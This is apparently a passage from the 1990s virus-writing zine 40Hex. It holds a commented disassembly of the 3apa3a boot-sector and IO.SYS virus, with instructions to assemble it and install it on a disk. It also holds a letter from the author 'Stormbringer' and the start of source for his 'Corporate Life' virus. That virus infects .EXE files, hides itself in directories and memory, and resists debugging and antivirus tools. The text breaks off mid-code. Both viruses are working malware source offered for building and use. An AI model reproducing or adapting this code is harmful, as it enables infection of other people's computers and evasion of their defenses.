00A2 0609FB01F5DB0DF3 ;which being added to previous char
|
||
00AA 130E0FF1F20EE0E6 ;gives new one (smth. like "delta"-coding)
|
||
00B2 0603 ;last char has an error - 10h instead of LF
|
||
---------------------------------------------------
|
||
; To assemble, simple run TASM and TLINK on this file and generate a binary.
|
||
; The first 512d bytes of the binary will contain the portion of the virus
|
||
; which resides in IO.SYS. The second 512d bytes will contain the boot
|
||
; section portion of the virus.
|
||
|
||
; Installation is slightly more difficult. It requires you to simulate
|
||
; an infection with 3apa3a. Read the text above for information. Basically,
|
||
; you have to fill in the BPB in the boot sector, fill in the patch values,
|
||
; and then move the pieces onto the disk properly.
|
||
|
||
.model tiny
|
||
.code
|
||
.radix 16
|
||
org 0
|
||
; 3apa3a virus
|
||
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
|
||
zero:
|
||
_3apa3a: push cs
|
||
call doffset
|
||
doffset: pop si
|
||
db 83,0EE,4 ; sub si,4
|
||
push si ax bx cx dx ds es
|
||
|
||
mov ah,4 ; get date
|
||
int 1Ah
|
||
|
||
cmp dh,8 ; september?
|
||
jne no_activate
|
||
|
||
lea bx,cs:[si+message-_3apa3a]
|
||
mov ax,0E42 ; begin with B
|
||
mov cx,endmessage - message
|
||
display_loop: int 10 ; print character
|
||
add al,cs:[bx] ; calculate next character
|
||
inc bx
|
||
loop display_loop
|
||
|
||
no_activate: cld
|
||
xor ax,ax ; ds = 0
|
||
mov ds,ax
|
||
push cs ; es = cs
|
||
pop es
|
||
lea di,[si+offset old_i13]
|
||
push si
|
||
mov si,13*4 ; grab old int 13 handler
|
||
movsw
|
||
movsw
|
||
mov ax,ds:413 ; get BIOS memory size
|
||
dec ax ; decrease by 2K
|
||
dec ax
|
||
mov ds:413,ax ; replace the value
|
||
mov cl,6 ; convert to paragraphs
|
||
shl ax,cl
|
||
mov [si-2],ax ; replace interrupt handler
|
||
mov word ptr [si-4],offset i13
|
||
mov es,ax ; move ourselves up
|
||
push cs
|
||
pop ds si
|
||
xor di,di
|
||
mov cx,200
|
||
push si
|
||
rep movsw ; copy now!
|
||
inc ch ; cx = 1
|
||
sub si,200 ; copy rest
|
||
rep movsw
|
||
pop si
|
||
push cs es
|
||
mov ax,offset highentry
|
||
push ax
|
||
retf
|
||
|
||
highentry: mov ax,7C0
|
||
mov ds,ax
|
||
mov word ptr ds:200,201
|
||
mov byte ptr ds:202,80
|
||
les ax,dword ptr cs:203
|
||
mov dx,es
|
||
pop es
|
||
mov bx,si
|
||
mov cx,1
|
||
mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call
|
||
call work_on_sectors ; do_i13
|
||
pop es ds dx cx bx ax
|
||
retf
|
||
|
||
message: db ' ' - 'B'
|
||
db 'B' - ' '
|
||
db 'O' - 'B'
|
||
db 'O' - 'O'
|
||
db 'T' - 'O'
|
||
db ' ' - 'T'
|
||
db 'C' - ' '
|
||
db 'E' - 'C'
|
||
db 'K' - 'E'
|
||
db 'T' - 'K'
|
||
db 'O' - 'T'
|
||
db 'P' - 'O'
|
||
db 'E' - 'P'
|
||
db ' ' - 'E'
|
||
db '-' - ' '
|
||
db ' ' - '-'
|
||
db '3' - ' '
|
||
db 'A' - '3'
|
||
db 'P' - 'A'
|
||
db 'A' - 'P'
|
||
db '3' - 'A'
|
||
db 'A' - '3'
|
||
db '!' - 'A'
|
||
db 7 - '!'
|
||
db 0Dh - 7
|
||
db 10 - 0Dh
|
||
endmessage:
|
||
|
||
do_i13: mov ax,ds:200
|
||
mov dl,ds:202
|
||
mov byte ptr cs:patch,0EBh ; jmp absolute
|
||
int 13 ; do interrupt
|
||
mov byte ptr cs:patch,75 ; jnz
|
||
jc retry_error
|
||
cld
|
||
retn
|
||
|
||
retry_error: cmp dl,80 ; first hard drive?
|
||
je do_i13 ; if so, retry
|
||
go_exit_i13: jmp exit_i13 ; otherwise quit
|
||
|
||
i13: push ax bx cx dx si di ds es bp
|
||
mov bp,sp
|
||
test dl,80 ; hard drive?
|
||
patch: jnz go_exit_i13
|
||
|
||
add dh,cl ; check if working on
|
||
add dh,ch ; boot sector or
|
||
cmp dh,1 ; partition table
|
||
ja go_exit_i13 ; if not, quit
|
||
|
||
mov ax,cs ; get our current segment
|
||
add ax,20 ; move up 200 bytes
|
||
mov ds,ax
|
||
mov es,ax
|
||
mov word ptr ds:200,201 ; set function to read
|
||
mov ds:202,dl ; set drive to hard drive
|
||
mov bx,400 ; set buffer
|
||
xor dx,dx ; read in the boot sector
|
||
push dx
|
||
mov cx,1
|
||
call do_i13 ; read in boot sector
|
||
|
||
cmp byte ptr ds:400+21,2E ; check if 3apa3a already there
|
||
je go_exit_i13
|
||
cmp byte ptr ds:400+18,0
|
||
je go_exit_i13
|
||
|
||
push cs
|
||
pop es
|
||
mov di,203
|
||
mov si,403
|
||
mov cx,1Bh ; copy disk tables
|
||
cld
|
||
rep movsb
|
||
|
||
sub si,200 ; copy the rest
|
||
mov cx,1E2
|
||
rep movsb
|
||
|
||
inc byte ptr ds:201 ; set to write
|
||
mov ax,ds:16 ; get sectors per FAT
|
||
mul byte ptr ds:10 ; multiply by # FATs
|
||
mov bx,ds:11 ; get number of sectors
|
||
mov cl,4 ; occupied by the root
|
||
shr bx,cl ; directory
|
||
db 83,0FBh,5 ; cmp bx,5 ; at least five?
|
||
jbe go_exit_i13 ; if not, quit
|
||
|
||
add ax,bx ;
|
||
add ax,ds:0E ; add # reserved sectors
|
||
dec ax ; drop two sectors to find
|
||
dec ax ; start of last sector
|
||
xor dx,dx ; of root directory
|
||
push ax dx
|
||
call abs_sec_to_BIOS
|
||
mov ds:patch1-200,cx ; move original boot
|
||
mov ds:patch2-200,dh ; sector to the end of the
|
||
xor bx,bx ; root directory
|
||
call do_i13
|
||
pop dx ax
|
||
dec ax
|
||
call abs_sec_to_BIOS
|
||
|
||
mov ds:34,cx ;patch3 ; write io portion to
|
||
mov ds:37,dh ;patch4
|
||
add bh,6 ; bx = 600
|
||
call do_i13
|
||
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov dx,ds:46C ; get timer ticks
|
||
pop ds
|
||
|
||
mov bl,dl ; eight possible instructions
|
||
db 83,0E3,3 ; and bx,3
|
||
push bx
|
||
shl bx,1 ; convert to word index
|
||
mov si,bx
|
||
mov cx,es:[bx+encrypt_table]
|
||
pop bx
|
||
push bx
|
||
mov bh,bl
|
||
shr bl,1 ; bl decides which ptr to use
|
||
lea ax,cs:[bx+2BBE] ; patch pointer
|
||
mov ds:[decrypt-bs_3apa3a],ax ; and start location
|
||
add ch,bl
|
||
mov ds:[encrypt_instr-bs_3apa3a],cx
|
||
add ax,0CF40
|
||
mov ds:[patch_endptr-bs_3apa3a],ax
|
||
pop ax
|
||
push ax
|
||
mul dh
|
||
add al,90 ; encode xchg ax,??
|
||
add bl,46 ; encode inc pointer
|
||
mov ah,bl
|
||
mov ds:[patch_incptr-bs_3apa3a],ax
|
||
mov dx,word ptr cs:[si+decrypt_table]
|
||
mov word ptr cs:decrypt_instr,dx
|
||
pop di
|
||
db 83,0C7 ;add di,XX ; start past decryptor
|
||
dw bs_3apa3a_decrypt - bs_3apa3a
|
||
org $ - 1
|
||
mov si,di
|
||
push ds
|
||
pop es
|
||
mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
|
||
mov ah,al
|
||
encrypt_loop: lodsb
|
||
decrypt_instr: add al,ah
|
||
stosb
|
||
loop encrypt_loop
|
||
|
||
pop dx
|
||
mov cx,1 ; write the replacement
|
||
xor bx,bx ; boot sector to the disk
|
||
call do_i13
|
||
exit_i13: mov sp,bp
|
||
pop bp es ds di si dx cx bx ax
|
||
db 0EAh
|
||
old_i13 dw 0, 0
|
||
|
||
decrypt_table: not al
|
||
sub al,ah
|
||
add al,ah
|
||
xor al,ah
|
||
|
||
encrypt_table dw 014F6 ; not
|
||
dw 0480 ; add
|
||
dw 2C80 ; sub
|
||
dw 3480 ; xor
|
||
; This marks the end of the IO.SYS only portion of 3apa3a
|
||
|
||
; The boot sector portion of 3apa3a follows.
|
||
|
||
adj_ofs = 7C00 + zero - bs_3apa3a
|
||
|
||
bs_3apa3a: jmp short decrypt
|
||
nop
|
||
; The following is an invalid boot sector. Replace it with
|
||
; yours.
|
||
db ' '
|
||
|
||
db 00, 00, 00, 00, 00, 00
|
||
db 00, 00, 00, 00, 00, 00
|
||
db 00, 00, 00, 00, 00, 00
|
||
db 00
|
||
|
||
decrypt: db 0BF ; mov di,
|
||
dw adj_ofs + bs_3apa3a_decrypt
|
||
decrypt_loop: db 2e ; cs:
|
||
encrypt_instr label word
|
||
db 80,2Dh ; sub byte ptr [di],XX
|
||
patch_incptr label word
|
||
db 0 ; temporary value for cryptval
|
||
inc di
|
||
db 81 ; cmp
|
||
patch_endptr label word
|
||
db 0ff ; pointer
|
||
dw adj_ofs + end_crypt
|
||
jne decrypt_loop
|
||
bs_3apa3a_decrypt = $ - 1
|
||
jmp short enter_bs_3apa3a
|
||
nop
|
||
|
||
load_original: xor dx,dx ; set up the read
|
||
mov es,dx ; of the original boot sector
|
||
db 0B9 ; mov cx, XXXX
|
||
patch3 dw 3
|
||
db 0B6
|
||
patch4 db 1
|
||
mov bx,ds ; es:bx = 0:7C00
|
||
mov ax,201
|
||
db 0ebh ; jump to code in stack
|
||
dw bs_3apa3a - 4 - ($ + 1)
|
||
|
||
org $ - 1
|
||
|
||
enter_bs_3apa3a:cli
|
||
xor ax,ax
|
||
mov ss,ax ; set stack to just below us
|
||
mov sp,7C00
|
||
sti
|
||
mov dl,80 ; reset hard drive
|
||
int 13
|
||
|
||
mov ax,2F72 ; encode JNZ load_original at
|
||
; 7BFE
|
||
mov ds,sp ; set segment registers to
|
||
mov es,sp ; 7C00
|
||
push ax
|
||
mov word ptr ds:200,201 ; do a read
|
||
mov ds:202,dl ; from the hard drive
|
||
xor bx,bx ; read to 7C00:0
|
||
mov dh,1 ; read head 1
|
||
mov cx,1 ; read sector 1
|
||
; (assumes active boot
|
||
; sector is here)
|
||
mov ax,13CDh ; encode int 13 at 7BFC
|
||
push ax
|
||
call exec_int13 ; do the read
|
||
mov bx,203
|
||
cmp byte ptr [bx-4],0AA ; is it valid bs?
|
||
jnz_load_original:
|
||
jne load_original ; if not, assume infected and
|
||
; transfer control to it
|
||
mov ax,ds:13 ; get number of sectors in
|
||
dec ax ; image - 1
|
||
cmp ax,5103 ; hard drive too small? (5103h
|
||
jbe load_original ; sectors ~ 10.6 megs)
|
||
mov ax,ds:1C ; get number hidden sectors
|
||
add ax,ds:0E ; add number reserved sectors
|
||
mov ds:9,ax ; store at location that holds
|
||
; the end of OEM signature
|
||
add ax,ds:16 ; add sectors per FAT
|
||
dec ax ; go down two sectors
|
||
dec ax
|
||
push ax
|
||
xor dx,dx
|
||
mov cx,dx
|
||
call work_on_sectors ; load end of FAT to 7C00:203
|
||
mov ax,ds:16 ; get sectors per FAT
|
||
push ax ; save the value
|
||
mul byte ptr ds:10 ; multiply by # FATs
|
||
add ax,ds:9 ; calculate start of root dir
|
||
mov ds:7,ax ; store it in work buffer
|
||
mov cl,4
|
||
mov si,ds:11 ; get number sectors the
|
||
shr si,cl ; root directory takes
|
||
add si,ax ; and calculate start of data
|
||
mov ds:5,si ; area and store it in buffer
|
||
call work_on_sectors ; get first 5 sectors of the
|
||
; root directory
|
||
test byte ptr ds:403+0Bh,8 ; volume label bit set on first
|
||
; entry? (infection marker)
|
||
jne_load_original: ; if so, already infected, so
|
||
jnz jnz_load_original ; quit
|
||
xor si,si
|
||
mov bx,1003
|
||
mov ax,ds:403+1A ; get starting cluster number
|
||
; of IO.SYS
|
||
read_IO_SYS: push ax ; convert cluster to absolute
|
||
call clus_to_abs_sec ; sector number
|
||
call work_on_sector ; read in one cluster of IO.SYS
|
||
inc si
|
||
pop ax
|
||
|
||
push bx ax
|
||
mov bx,403+0A00 ; read into this buffer
|
||
push bx
|
||
mov al,ah ; find the sector with the FAT
|
||
xor dx,dx ; entry corresponding to this
|
||
mov ah,dl ; cluster
|
||
add ax,ds:9
|
||
call work_on_sectors ; read in the FAT
|
||
pop bx ax
|
||
mov ah,dl
|
||
shl ax,1
|
||
mov di,ax
|
||
mov ax,[bx+di] ; grab the FAT entry (either EOF
|
||
; or next cluster number)
|
||
pop bx ; corresponding to this cluster
|
||
cmp ax,0FFF0 ; is there any more to read?
|
||
jb read_IO_SYS ; if so, keep going
|
||
|
||
inc byte ptr ds:201 ; change function to a write
|
||
pop cx
|
||
dec cx
|
||
dec cx
|
||
mov ds:4,cl
|
||
mov di,401 ; scan the end of the FAT
|
||
mov cx,100
|
||
mov bp,-1
|
||
copy_IO_SYS: xor ax,ax ; look for unused clusters
|
||
repne scasw
|
||
jnz jne_load_original
|
||
mov [di+2],bp
|
||
mov bx,cx
|
||
mov bh,ds:4
|
||
mov bp,bx ; save starting cluster of
|
||
push bp cx ; where IO.SYS will be moved
|
||
mov ah,ds:0Dh
|
||
shl ax,1
|
||
dec si
|
||
mul si
|
||
mov bx,ax
|
||
add bx,1003
|
||
mov ax,bp
|
||
call clus_to_abs_sec
|
||
call work_on_sector ; move IO.SYS to end of HD
|
||
pop cx bp
|
||
or si,si
|
||
jnz copy_IO_SYS
|
||
|
||
mov si,0DE1 ; move all but the first two
|
||
mov di,0E01 ; directory entries down one
|
||
mov cx,4D0 ; (10 dir entries / sector,
|
||
rep movsw ; 5 sectors)
|
||
; DF set by exec_int13
|
||
mov si,421 ; move IO.SYS entry down two
|
||
mov cx,10 ; entries
|
||
rep movsw
|
||
|
||
mov ds:400+2*20+1Dh,bp ; set starting cluster of the
|
||
; moved original IO.SYS
|
||
or byte ptr ds:40E,8 ; set volume label bit on first
|
||
; IO.SYS entry
|
||
mov bx,403 ; point to root directory
|
||
mov ax,ds:7 ; get starting cluster of
|
||
xor dx,dx ; root dir
|
||
mov cl,4
|
||
call work_on_sectors ; write updated root directory
|
||
pop ax ; to the disk
|
||
write_FATs: mov bx,203 ; point to the updated FAT
|
||
call work_on_sectors ; write changed end of FAT
|
||
|
||
dec ax
|
||
add ax,ds:16 ; add sectors per FAT
|
||
dec byte ptr ds:10 ; processed all the FATs?
|
||
jnz write_FATs
|
||
|
||
mov ax,bp
|
||
call clus_to_abs_sec
|
||
mov cs:7C03,ax ; store the values
|
||
mov cs:7C05,dx
|
||
mov byte ptr cs:7C01,1Ch
|
||
|
||
xor ax,ax ; reset default drive
|
||
mov dx,ax
|
||
int 13
|
||
|
||
mov ax,201 ; read in original boot sector
|
||
; You must patch the following values if you are installing 3apa3a on a disk
|
||
db 0b9 ; mov cx, XXXX
|
||
patch1 dw 0
|
||
db 0b6 ; mov dh, XX
|
||
patch2 db 0
|
||
mov bx,0E03
|
||
call perform_int13
|
||
|
||
mov ax,ds:403+1A ; get starting cluster number
|
||
call clus_to_abs_sec ; of IO.SYS
|
||
xor cx,cx
|
||
call work_on_sectors
|
||
mov bx,ds
|
||
mov es,cx
|
||
call work_on_sectors
|
||
go_load_original:
|
||
jmp load_original
|
||
|
||
exec_int13: mov ax,ds:200 ; get function from memory
|
||
mov dl,ds:202 ; get drive from memory
|
||
perform_int13: int 13
|
||
jc go_load_original
|
||
std
|
||
retn
|
||
|
||
work_on_sectors:inc cx
|
||
work_on_sector: push cx dx ax
|
||
call abs_sec_to_BIOS
|
||
call exec_int13
|
||
pop ax dx cx
|
||
add ax,1 ; calculate next sector
|
||
db 83,0D2,0 ; adc dx,0 ; (don't use INC because
|
||
add bh,2 ; INC doesn't set carry)
|
||
loop work_on_sector ; do it for the next sector
|
||
|
||
retn
|
||
|
||
abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track
|
||
mov cx,dx
|
||
inc cl
|
||
xor dx,dx
|
||
div word ptr ds:1A ; divide by number of heads
|
||
ror ah,1
|
||
ror ah,1
|
||
xchg ah,al
|
||
add cx,ax
|
||
mov dh,dl
|
||
retn
|
||
|
||
clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster
|
||
xor ch,ch ; (convert to word)
|
||
dec ax
|
||
dec ax
|
||
mul cx ; convert cluster number to
|
||
add ax,ds:5 ; absolute sector number
|
||
end_crypt: db 83,0D2,0 ; adc dx,0
|
||
retn
|
||
|
||
dw 0AA55 ; boot signature
|
||
|
||
end _3apa3a
|
||
|
||
40Hex Number 14 Volume 5 Issue 1 File 008
|
||
|
||
A lot of you saw the letter I posted in alt.comp.virus..... I thought I
|
||
might explain it now that I am sober ;) I did write the letter, and
|
||
a.) I was drunk as hell, and b.) I keep my word and have stopped writing
|
||
viruses. If you didn't read it, well, basically some schmuck (who I found
|
||
out later wrote friggin' ANSI bombs.... you go girl!) in Singapore got
|
||
infected with KeyKapture 2, and wrote me email about it. I was drunk
|
||
when I got it, got real depressed, etc. etc.... Anyway, I don't support
|
||
infecting the public with viruses, especially destructive ones, and never
|
||
have (WTF is the point of doing that anyway?). However, I find viruses one
|
||
of the most interesting and unique program types out there, and really hate
|
||
to see information regarding them censored, as censorship is the weapon of
|
||
men with small minds (at least) and too many fears.
|
||
|
||
Anyway, here is the last virus I wrote before I stopped writing viruses.
|
||
It was never really completed - I was working on a better polymorphic engine
|
||
for it (its current one is tres lame, and was written in about an hour,
|
||
including testing), needed to remove the prefetch tricks (damn pentium chips)
|
||
and some other things, but what the hell.... here's what I had written to that
|
||
point - it works, and has a few neato ideas (all FCB stuff, loads itself into
|
||
the memory of other programs, etc). Try running it with the Soundblaster
|
||
speech drivers loaded if you get really bored.
|
||
|
||
- Stormbringer, Phalcon/Skism, 1995
|
||
|
||
;----------------------- cut here, corplife.asm ---------------------------
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
|
||
;<3B> Corporate Life (c) 1994 Stormbringer, Phalcon/Skism <20>
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
;<3B> Dreams disipate like fog before the harsh sun - <20>
|
||
;<3B> Every morning, driving to work through the traffic, <20>
|
||
;<3B> A number, a cube, a tie..... <20>
|
||
;<3B> <20>
|
||
;<3B> Don't let your dreams die, mes amis, <20>
|
||
;<3B> Or you will become just another puppet - <20>
|
||
;<3B> Led by the strings of money by an ungrateful master. <20>
|
||
;<3B> <20>
|
||
;<3B> Fuck Corporate Life! <20>
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
|
||
;Semi-Polymorphic (quit yo' bitchin Zerial, I woulda fixed it.....)
|
||
;Moderately Armored.
|
||
;Directory stealth - doesn't affect CHKDSK or similar programs, just dir's.
|
||
;Memory Stealth - becomes a part of the last TSR program in memory.
|
||
;Infects .EXE files on DIR (FindFile with FCB's) using ONLY FCB calls.
|
||
; (Only infects DOS .EXE files with no overlays)
|
||
;Critical Error Handler.
|
||
|
||
.model tiny
|
||
.radix 16
|
||
.code
|
||
org 100
|
||
start:
|
||
push es
|
||
push cs
|
||
pop ds
|
||
db 2dh dup(90)
|
||
EXE_ENTRY:
|
||
jmp short rotateit
|
||
db 09A
|
||
rotateit:
|
||
ror word ptr cs:[HostCS],1
|
||
jmp short EntryArmor
|
||
db 0ea ;simple annoyance for disasm
|
||
;----------------------------
|
||
EntryArmor:
|
||
push word ptr cs:[Armor1]
|
||
mov ax,not(00eah)
|
||
push ax
|
||
mov bp,sp
|
||
not word ptr ss:[bp] ;should lose trace-based
|
||
pop word ptr cs:[Armor1] ;analysis, such as f-prot's
|
||
Armor1: ;heuristics and TBCLEAN
|
||
pop word ptr cs:[Armor1]
|
||
call recursionshit
|
||
;----------------------------
|
||
GetDosVersion:
|
||
mov ax,3001
|
||
int 21
|
||
cmp al,6
|
||
ja BadDos
|
||
cmp al,3
|
||
jb BadDos
|
||
jmp short DosFine
|
||
db 0ea
|
||
BadDos:
|
||
jmp IsActiveInMemory
|
||
db 0ff
|
||
DosFine:
|
||
;----------------------------
|
||
KillVSAFE:
|
||
mov dx,not(0fa01)
|
||
mov ax,not(5945)
|
||
xchg dx,ax
|
||
push cs
|
||
not ax
|
||
not dx
|
||
int 16 ;Kill vsafe... lame friggin' program anyway
|
||
pop ds
|
||
;----------------------------
|
||
CheckIfActive:
|
||
mov ah,09
|
||
mov dx,offset Credits
|
||
int 21
|
||
jnc GetInt21Address
|
||
jmp IsActiveInMemory
|
||
;----------------------------
|
||
GetInt21Address:
|
||
xor ax,ax
|
||
push ds ax
|
||
pop ds
|
||
push word ptr ds:[84]
|
||
push word ptr ds:[05*4]
|
||
push word ptr ds:[86]
|
||
push word ptr ds:[05*4+2]
|
||
pop word ptr ds:[03*4+2]
|
||
pop word ptr cs:[Org21CS]
|
||
pop word ptr ds:[03*4]
|
||
pop word ptr cs:[Org21IP]
|
||
pop ds
|
||
|
||
push es
|
||
;----------------------------
|
||
AllocTempMem:
|
||
mov ah,4a
|
||
mov bx,-1
|
||
call call21direct
|
||
|
||
sub bx,(end_main-start+1f)/10
|
||
mov ah,4a
|
||
call call21direct
|
||
|
||
mov bx,(end_main-start+0f)/10
|
||
mov ah,48
|
||
call call21direct
|
||
|
||
;----------------------------
|
||
PutVirusInTempMem:
|
||
sub ax,10
|
||
mov es,ax
|
||
mov di,100
|
||
mov si,di
|
||
mov cx,(end_main-start)
|
||
repnz movsb
|
||
|
||
push ds
|
||
mov ds,cx
|
||
|
||
SetupProgramTerminate:
|
||
push ds:[22*4]
|
||
push ds:[22*4+2]
|
||
mov ds:[22*4],offset Int22
|
||
mov ds:[22*4+2],es
|
||
mov word ptr ds:[6],0fff0
|
||
mov word ptr ds:[4],0
|
||
pop ax
|
||
pop bx
|
||
pop ds
|
||
mov es:[IP22],bx
|
||
mov es:[CS22],ax
|
||
pop ds
|
||
mov ds:[0a],offset Int22
|
||
mov ds:[0c],es
|
||
;----------------------------
|
||
IsActiveInMemory:
|
||
pop es
|
||
push es
|
||
pop ds
|
||
mov ax,es
|
||
add ax,10
|
||
add cs:HostCS,ax
|
||
add ax,cs:HostSS
|
||
cli
|
||
mov ss,ax
|
||
mov sp,cs:[HostSP]
|
||
xor ax,ax
|
||
xor bx,bx
|
||
xor cx,cx
|
||
xor dx,dx
|
||
xor di,di
|
||
mov si,100
|
||
sti
|
||
jmp dword ptr cs:[HostEntry]
|
||
|
||
HostEntry:
|
||
HostIP dw 0
|
||
HostCS dw 0fff0
|
||
HostSS dw 0fff0
|
||
HostSP dw 0fffe
|
||
|
||
Call21Direct:
|
||
pushf
|
||
call dword ptr cs:[Org21IP]
|
||
ret
|
||
|
||
Org21IP dw 0
|
||
Org21CS dw 0
|
||
;-----------------------------
|
||
recursionshit:
|
||
mov cx,11
|
||
call recurseit
|
||
ret
|
||
db 081
|
||
recurseit:
|
||
jmp short bumpshit
|
||
db 0ff
|
||
Afterbump:
|
||
dec cx
|
||
pop ax bx dx
|
||
jz exitrecurse
|
||
call recurseit
|
||
exitrecurse:
|
||
rol word ptr cs:[HostCS],1
|
||
ret
|
||
db 0cdh
|
||
bumpshit:
|
||
mov bp,sp
|
||
push ds
|
||
mov bx,cs
|
||
push ax
|
||
mov word ptr [bp-4],0
|
||
pop ds
|
||
mov word ptr ds:[3*4],offset afterbump
|
||
mov word ptr ds:[3*4+2],bx
|
||
pop ds
|
||
int 3
|
||
How_did_ya_get_here:
|
||
loop How_did_ya_get_here
|
||
mov ds,cx
|
||
push word ptr ds:[46c]
|
||
push word ptr ds:[46c]
|
||
push word ptr ds:[46e]
|
||
iret
|
||
;-----------------------------
|
||
db 83
|
||
Int22:
|
||
mov ah,52
|
||
call call21direct
|
||
mov es,es:[bx-2]
|
||
mov bx,es
|
||
mov ax,es:[03]
|
||
mov cx,es
|
||
add ax,cx
|
||
inc ax
|
||
mov es,ax
|
||
|
||
FindMCB:
|
||
mov ax,es:[03]
|
||
cmp ax,(end_prog-start+4f)/10
|
||
jb TooSmall
|
||
cmp word ptr es:[01],0
|
||
je FoundOne
|
||
jmp NExtOne
|
||
TooSmall:
|
||
cmp word ptr es:[01],0
|
||
jne NextOne
|
||
jmp SkipBXMove
|
||
|
||
NextOne:
|
||
mov bx,es
|
||
SkipBXMove:
|
||
mov cx,es
|
||
add ax,cx
|
||
inc ax
|
||
cmp ax,0f000
|
||
je NoMem
|
||
cmp byte ptr es:[0],'M'
|
||
jne NoMem
|
||
mov es,ax
|
||
jmp FindMCB
|
||
db 081
|
||
NoMem:
|
||
jmp Exit22
|
||
db 0ea
|
||
FoundOne:
|
||
mov dx,es
|
||
mov es,bx
|
||
inc bx
|
||
add bx,word ptr es:[03]
|
||
push bx
|
||
mov ax,es
|
||
|
||
push word ptr es:[01]
|
||
push es
|
||
|
||
inc ax
|
||
mov bx,word ptr es:[03]
|
||
mov word ptr cs:[HostMem],ax
|
||
mov es,ax
|
||
mov ah,4a
|
||
add bx,(end_prog-start+3f)/10
|
||
call call21direct
|
||
jc TooSmall
|
||
|
||
pop es
|
||
pop word ptr es:[01]
|
||
|
||
pop ax
|
||
sub ax,10
|
||
mov es,ax
|
||
mov di,100
|
||
mov si,di
|
||
push cs
|
||
pop ds
|
||
mov cx,(end_prog-start)
|
||
repnz movsb
|
||
|
||
inc cx
|
||
mov ds,cx
|
||
push word ptr ds:[74]
|
||
push word ptr ds:[76]
|
||
mov word ptr ds:[74],offset Int21
|
||
mov word ptr ds:[76],es
|
||
pop word ptr es:[CS21]
|
||
pop word ptr es:[IP21]
|
||
call ActivateSoundBlaster
|
||
Exit22:
|
||
db 0ea
|
||
IP22 dw 0
|
||
CS22 dw 0
|
||
|
||
db 0ff
|
||
Int21:
|
||
cmp ah,09
|
||
jne NotInstallCheck
|
||
xchg dx,bx
|
||
cmp word ptr ds:[bx],'B$'
|
||
xchg dx,bx
|
||
jne Exit21
|
||
stc
|
||
retf 2
|
||
|
||
db 088
|
||
NotInstallCheck:
|
||
push ax ;reversed bits on ah
|
||
xor ah,11 ;0001 0001 ;11 - find first
|
||
jz FindFile
|
||
xor ah,3
|
||
jz FindFile ;0001 0010 ;12 - find next
|
||
xor ah,5bh ;0100 1001 ;49 - dealloc mem
|
||
jz Dealloc
|
||
|
||
ExitTests:
|
||
pop ax
|
||
|
||
ExitFunctions:
|
||
Exit21:
|
||
db 0ea
|
||
IP21 dw 0
|
||
CS21 dw 0
|
||
|
||
db 0ea
|
||
Dealloc:
|
||
mov ax,es
|
||
cmp ax,word ptr cs:[HostMem]
|
||
pop ax
|
||
jne Exit21
|
||
iret
|
||
|
||
db 0ea
|
||
GoExitFind:
|
||
jmp ExitFind
|
||
|
||
FindFile:
|
||
pop ax
|
||
call FakeInt21
|
||
or al,al
|
||
jnz GoExitFind
|
||
|
||
push ax bx cx dx es ds si di
|
||
call SetCritical
|
||
mov ah,2f
|
||
call FakeInt21
|
||
push es bx
|
||
|
||
|
||
cmp byte ptr es:[bx],0ff
|
||
jne ExitCheck
|
||
add bx,7
|
||
CheckIfEXE:
|
||
cmp word ptr es:[bx+09],'XE'
|
||
jne ExitCheck
|
||
cmp byte ptr es:[bx+0bh],'E'
|
||
